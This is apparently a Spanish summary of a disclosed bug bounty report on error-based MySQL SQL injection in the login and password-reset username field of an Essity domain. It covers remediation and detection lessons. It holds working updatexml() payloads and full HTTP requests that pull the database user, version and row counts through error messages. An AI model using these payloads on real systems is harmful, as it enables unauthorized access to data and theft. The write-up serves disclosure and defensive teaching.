Reports
CRÍTICA[SQL INJECTION]#3809973

Inyección SQL basada en errores en el login y el reset de contraseña de Essity

El parámetro username del login y del restablecimiento de contraseña de un dominio de Essity se concatenaba en la consulta SQL. Con updatexml() se extraían versión, usuario y datos del esquema a través de los mensajes de error.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Un dominio de Essity era vulnerable a una inyección SQL basada en errores (error-based) en sus flujos de autenticación. El parámetro username se incrustaba directamente en la consulta SQL sin parametrizar, de modo que un atacante podía inyectar expresiones MySQL que la base de datos acababa ejecutando.

El fallo aparecía en dos puntos distintos del mismo dominio:

POST /login
POST /doResetPassword

La pieza clave es que la aplicación devolvía los mensajes de error de la base de datos directamente en la respuesta. Al inyectar la función updatexml() de MySQL con un dato construido a propósito, ese dato aparecía dentro del mensaje de error, lo que convierte el error en un canal de extracción (in-band) fiable. Según el reporte, la respuesta llegaba incluso a revelar la consulta SQL completa que se estaba ejecutando, con el esquema y el nombre de la tabla incluidos.

El reporte lo clasifica como severidad crítica y fue enviado de buena fe, aun advirtiendo que el dominio podría no estar dentro del alcance definido del programa.

Pasos de reproducción

El investigador demostró la extracción de información sin llegar a enumerar otras tablas ni exfiltrar datos, al estar el endpoint fuera de alcance.

1. Endpoint /login — obtener el usuario de la base de datos (user()):

POST /login HTTP/1.1
Host: [REDACTADO].com
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

username=%27%20AND%20updatexml%281%2Cconcat%280x7e%2Cuser%28%29%2C0x7e%29%2C1%29%20AND%20%271%27%3D%271&password=x

El valor de username, una vez decodificado, es la carga inyectada:

' AND updatexml(1,concat(0x7e,user(),0x7e),1) AND '1'='1

El 0x7e es el carácter ~, que se usa como delimitador para localizar el dato en el mensaje de error. updatexml() falla al recibir un XPath inválido y, al hacerlo, MySQL incluye ese XPath (con el resultado de user()) en el texto del error que la aplicación muestra.

2. Endpoint /login — contar las filas de una tabla:

POST /login HTTP/1.1
Host: [REDACTADO].com
Content-Type: application/x-www-form-urlencoded
Content-Length: 185

username=%27%20AND%20updatexml%281%2Cconcat%280x7e%2C%28select%20cast%28count%28%2A%29%20as%20char%29%20from%20[REDACTADO]%29%2C0x7e%29%2C1%29%20AND%20%271%27%3D%271&password=x

La subconsulta select cast(count(*) as char) from <tabla> devuelve el número de filas, que vuelve a filtrarse por el mismo canal de error.

3. Endpoint /doResetPassword — obtener la versión del motor (version()):

POST /doResetPassword HTTP/1.1
Host: [REDACTADO].com
Content-Type: application/x-www-form-urlencoded
Content-Length: 121

username=%27%20AND%20updatexml%281%2Cconcat%280x7e%2Cversion%28%29%2C0x7e%29%2C1%29%20AND%20%271%27%3D%271&password=x

El mismo patrón funciona en el restablecimiento de contraseña, lo que confirma que la inyección no está en una ruta aislada sino en la forma en que se construye la consulta del parámetro username.

Impacto

Un atacante no autenticado podía aprovechar esta inyección para:

  • Extraer datos sensibles de la base de datos, incluyendo potencialmente credenciales (usuarios y material de contraseñas, según cómo estuvieran almacenadas).
  • Enumerar el esquema y la configuración de la base de datos: versión del DBMS, usuario actual, nombres de host y rutas del sistema de ficheros.

Al estar el fallo en el propio login y en el reset de contraseña —puntos accesibles sin credenciales— y al devolver la aplicación los mensajes de error, la explotación resultaba directa y fiable.

Remediación

El reporte figura como resuelto (Resolved). La corrección de fondo para este tipo de fallo es dejar de concatenar la entrada en la consulta y usar consultas parametrizadas / sentencias preparadas, de modo que username se trate siempre como dato y nunca como parte del SQL.

Qué aprender de este caso

  • Los campos de autenticación (username de login y de restablecimiento de contraseña) son objetivos de inyección SQL tan válidos como cualquier buscador o filtro: al probar una aplicación, inyecta una comilla en username y observa si cambia la respuesta o aparece un error de base de datos.
  • La extracción error-based depende de que la aplicación muestre los mensajes de error del motor. No devolver nunca errores de base de datos al cliente (respuestas genéricas y log interno) no arregla la inyección, pero corta este canal de exfiltración.
  • La huella de updatexml(...,concat(0x7e,...),...) con el delimitador ~ (0x7e) es la firma clásica de la técnica error-based en MySQL: verla en logs o en un WAF es señal de un intento activo de volcar user(), version() o datos de tablas.
  • Que el fallo aparezca en /login y en /doResetPassword con el mismo payload indica consultas construidas por concatenación repartidas por el código: al remediar, revisa todos los sitios que leen ese parámetro, no solo el primero donde se encontró.